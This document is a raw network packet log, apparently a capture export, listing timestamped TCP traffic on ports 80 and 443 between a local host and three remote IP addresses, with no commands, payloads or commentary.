Oct 30, 2024 15:59:45.488955021 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.489110947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.489151001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.489161015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.489188910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.491801023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.497386932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.687370062 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.688085079 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.688100100 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.688860893 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.688867092 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.689740896 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.690262079 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.690287113 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.690742970 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.690748930 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.770533085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.770621061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.784698963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.790334940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.817706108 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.817781925 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.817864895 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.818118095 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.818129063 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.818176985 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.818181992 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.820635080 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.820676088 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.820725918 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.820739985 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.820775032 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.820903063 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.820914984 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.820924997 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.820930004 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.821897984 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.821917057 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.822165966 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.822333097 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.822344065 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.823550940 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.823585987 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.823651075 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.823805094 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.823829889 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.827399969 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.827855110 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.827888966 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.828353882 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.828358889 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.916234970 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.916270018 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.916352034 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.917223930 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.917241096 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.965572119 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.966149092 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.966167927 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.966650963 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.966656923 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.091669083 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.091834068 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.091944933 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.092068911 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.092078924 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.092128038 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.092133999 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.095372915 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.095400095 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.095469952 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.095608950 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.095621109 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.143166065 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.143709898 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.143765926 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.143786907 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.143851995 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.143886089 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.143903017 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.143914938 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.143920898 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.146889925 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.146909952 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.146984100 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.147212029 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.147224903 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.331888914 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:46.331933975 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:46.331999063 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:46.333134890 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:46.333147049 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:46.553251982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:46.555959940 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.556240082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:46.569478989 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.569499969 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.570101976 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.570110083 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.593707085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:46.599194050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:46.651827097 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.652384043 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.652414083 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.652940989 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.652947903 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.702828884 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.703389883 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.703438997 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.703447104 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.703478098 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.703478098 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.703496933 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.703536987 CET	49845	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.703543901 CET	443	49845	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.706619024 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.706657887 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.706772089 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.706935883 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.706948042 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.783057928 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.783087015 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.783126116 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.783149004 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.783186913 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.783415079 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.783425093 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.783440113 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.783444881 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.786344051 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.786372900 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.786474943 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.786648989 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.786664009 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.834769964 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.839819908 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.839847088 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.840681076 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.840687037 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.872539043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:46.872634888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:46.877868891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:46.881453037 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.882464886 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.882477045 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.883068085 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.883074045 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.883282900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:46.966845036 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.966913939 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.967041969 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.967174053 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.967221975 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.967242956 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.967253923 CET	49846	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.967259884 CET	443	49846	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.970690012 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.970736027 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:46.970819950 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.971000910 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:46.971015930 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.017230988 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.017327070 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.017540932 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.017582893 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.017597914 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.017610073 CET	49847	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.017616987 CET	443	49847	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.021147013 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.021183968 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.021471024 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.021645069 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.021661043 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.075086117 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.075756073 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.075776100 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.076268911 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.076273918 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.206759930 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.206779003 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.206830025 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.206875086 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.206938982 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.207847118 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.207854986 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.207885027 CET	49844	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.207890034 CET	443	49844	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.228106022 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.228158951 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.228256941 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.244363070 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.244390011 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.436161041 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.436266899 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.443701029 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.443722963 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.444005013 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.446924925 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.447081089 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.447087049 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.447247028 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.484195948 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.487334967 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.489815950 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.489836931 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.490523100 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.490528107 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.529901981 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.544651985 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.544668913 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.549103975 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.549109936 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.624157906 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.624233007 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.624272108 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.652055979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:47.652120113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:47.677405119 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.678040981 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.678133965 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.695688009 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.713407040 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.713434935 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.713659048 CET	443	49848	40.115.3.253	192.168.2.6
Oct 30, 2024 15:59:47.713720083 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.715648890 CET	49848	443	192.168.2.6	40.115.3.253
Oct 30, 2024 15:59:47.722301960 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.754065990 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.768830061 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.800105095 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.940409899 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.940422058 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.940978050 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.940984964 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.941867113 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.941884995 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.941896915 CET	49849	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.941907883 CET	443	49849	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.946006060 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.946022034 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.946033955 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.946039915 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.946340084 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.946352959 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.946924925 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.946930885 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.962054968 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.962093115 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.962421894 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.965442896 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.965508938 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.965755939 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.965992928 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.966010094 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.966362000 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.966378927 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.990638018 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.991225958 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.991240978 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:47.991784096 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:47.991790056 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.067615986 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.067785978 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.067842007 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.068892956 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.068909883 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.068922043 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.068929911 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.075773001 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.075844049 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.075961113 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.075975895 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.076018095 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.080518961 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.080540895 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.080554962 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.080562115 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.084068060 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.084089041 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.084137917 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.085916996 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.085956097 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.086046934 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.086803913 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.086816072 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.121128082 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.121154070 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.121196032 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.121207952 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.121248960 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.121393919 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.121404886 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.121413946 CET	49853	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.121418953 CET	443	49853	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.124917984 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.124938011 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.125001907 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.125201941 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.125217915 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.837198973 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.837713003 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.837738991 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.838330984 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.838337898 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.842335939 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.842710972 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.842730999 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.843111038 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.843116999 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.853064060 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.853666067 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.853691101 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.854053974 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.854062080 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.874627113 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.875051022 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.875068903 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:48.875493050 CET	49859	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:48.875499010 CET	443	49859	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.091768026 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.091825008 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.091898918 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.092832088 CET	49857	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.092852116 CET	443	49857	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140357971 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140433073 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140471935 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140496969 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140521049 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140528917 CET	443	49858	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140549898 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140573978 CET	49858	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140590906 CET	443	49854	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140614986 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140631914 CET	49854	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140871048 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140892982 CET	443	49855	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:49.140911102 CET	49855	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:49.140918970 CET	443	49855	13.107.246.45	192.168.2.6
